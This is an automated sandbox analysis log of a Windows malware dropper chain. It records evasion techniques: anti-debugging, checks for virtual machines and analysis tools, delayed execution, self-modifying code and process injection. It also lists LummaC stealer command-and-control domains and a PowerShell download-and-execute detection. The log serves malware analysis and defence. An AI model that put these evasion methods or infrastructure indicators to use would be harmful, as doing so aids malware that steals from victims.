Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Special instruction interceptor: First address: B93E26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Special instruction interceptor: First address: D3CD86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Special instruction interceptor: First address: D3B792 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Special instruction interceptor: First address: B9153E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Special instruction interceptor: First address: B93D27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Special instruction interceptor: First address: DC8650 instructions caused by: Self-modifying code
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Special instruction interceptor: First address: F8191C instructions caused by: Self-modifying code
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Special instruction interceptor: First address: F817F8 instructions caused by: Self-modifying code
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Special instruction interceptor: First address: 115EF50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Special instruction interceptor: First address: 4B9DC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Special instruction interceptor: First address: 4B8D77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Special instruction interceptor: First address: 4E2789 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Special instruction interceptor: First address: 31DA80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Special instruction interceptor: First address: 55239C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 463E26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 60CD86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 60B792 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46153E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 463D27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 698650 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Special instruction interceptor: First address: 2D191C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Special instruction interceptor: First address: 2D17F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Special instruction interceptor: First address: 4AEF50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Special instruction interceptor: First address: 1BE854 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Special instruction interceptor: First address: 1BE8C5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Special instruction interceptor: First address: 384C2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Special instruction interceptor: First address: 36F63F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Special instruction interceptor: First address: 3E09B6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Memory allocated: 4CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Memory allocated: 4E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Memory allocated: 6E50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

Code function: 0_2_04CF0DC8 rdtsc

0_2_04CF0DC8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 382

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2996	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3052	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5716	Thread sleep count: 382 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5716	Thread sleep time: -11460000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6192	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6192	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 772	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 772	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2724	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2676	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2676	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe TID: 6624	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe TID: 3636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe TID: 5320	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe TID: 3964	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe TID: 1464	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe TID: 4944	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4228	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe TID: 2472	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe TID: 2472	Thread sleep time: -186000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe TID: 6960	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe TID: 5992	Thread sleep time: -150000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmp, ea2c7beae0.exe, ea2c7beae0.exe, 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmp, 6a8d4317d4.exe, 6a8d4317d4.exe, 00000008.00000002.2538371767.0000000001119000.00000040.00000001.01000000.0000000A.sdmp, 4af6eb3e1f.exe, 0000000C.00000002.2730629951.000000000049A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000D.00000002.2679450339.00000000005ED000.00000040.00000400.00020000.00000000.sdmp, 6a8d4317d4.exe, 0000000E.00000002.2696051122.0000000001119000.00000040.00000001.01000000.0000000A.sdmp, ea2c7beae0.exe, 00000010.00000002.2921950661.0000000000D1D000.00000040.00000001.01000000.00000009.sdmp, 6a8d4317d4.exe, 00000011.00000002.2866146999.0000000001119000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ea2c7beae0.exe, 00000007.00000002.2464806930.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@{
Source: num.exe, 0000000F.00000002.2731328670.0000000001221000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: num.exe, 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarep:
Source: ea2c7beae0.exe, ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2815175057.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: num.exe, 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: skotes.exe, 00000006.00000002.2921573681.0000000001437000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: num.exe, 00000013.00000002.2904376187.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP\|
Source: 6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware8U
Source: h3yRbjNWk1.exe, 00000000.00000002.1721300918.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1758524084.0000000000C3E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1760766103.0000000000C3E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmp, ea2c7beae0.exe, 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmp, 6a8d4317d4.exe, 00000008.00000002.2538371767.0000000001119000.00000040.00000001.01000000.0000000A.sdmp, 4af6eb3e1f.exe, 0000000C.00000002.2730629951.000000000049A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000D.00000002.2679450339.00000000005ED000.00000040.00000400.00020000.00000000.sdmp, 6a8d4317d4.exe, 0000000E.00000002.2696051122.0000000001119000.00000040.00000001.01000000.0000000A.sdmp, ea2c7beae0.exe, 00000010.00000002.2921950661.0000000000D1D000.00000040.00000001.01000000.00000009.sdmp, 6a8d4317d4.exe, 00000011.00000002.2866146999.0000000001119000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000098A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 6a8d4317d4.exe, 00000011.00000002.2867421028.0000000001669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2815175057.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_053601BA Start: 053602BB End: 053601E3

6_2_053601BA

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process queried: DebugPort
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

Code function: 0_2_04CF0DC8 rdtsc

0_2_04CF0DC8

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Code function: 7_2_00B75BB0 LdrInitializeThunk,

7_2_00B75BB0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A8652B mov eax, dword ptr fs:[00000030h]		6_2_00A8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A8A302 mov eax, dword ptr fs:[00000030h]		6_2_00A8A302

Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\1000350002\6a8d4317d4.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 5064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 5168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 4144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 6996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe PID: 3368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe, type: DROPPED

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00A570A0 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,

6_2_00A570A0

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Memory written: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: ea2c7beae0.exe	String found in binary or memory: licendfilteo.site
Source: ea2c7beae0.exe	String found in binary or memory: clearancek.site
Source: ea2c7beae0.exe	String found in binary or memory: bathdoomgaz.stor
Source: ea2c7beae0.exe	String found in binary or memory: spirittunek.stor
Source: ea2c7beae0.exe	String found in binary or memory: dissapoiznw.stor
Source: ea2c7beae0.exe	String found in binary or memory: studennotediw.stor
Source: ea2c7beae0.exe	String found in binary or memory: mobbipenju.stor
Source: ea2c7beae0.exe	String found in binary or memory: eaglepawnoy.stor

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000350002\6a8d4317d4.exe "C:\Users\user\1000350002\6a8d4317d4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe "C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000401001\num.exe "C:\Users\user\AppData\Local\Temp\1000401001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe

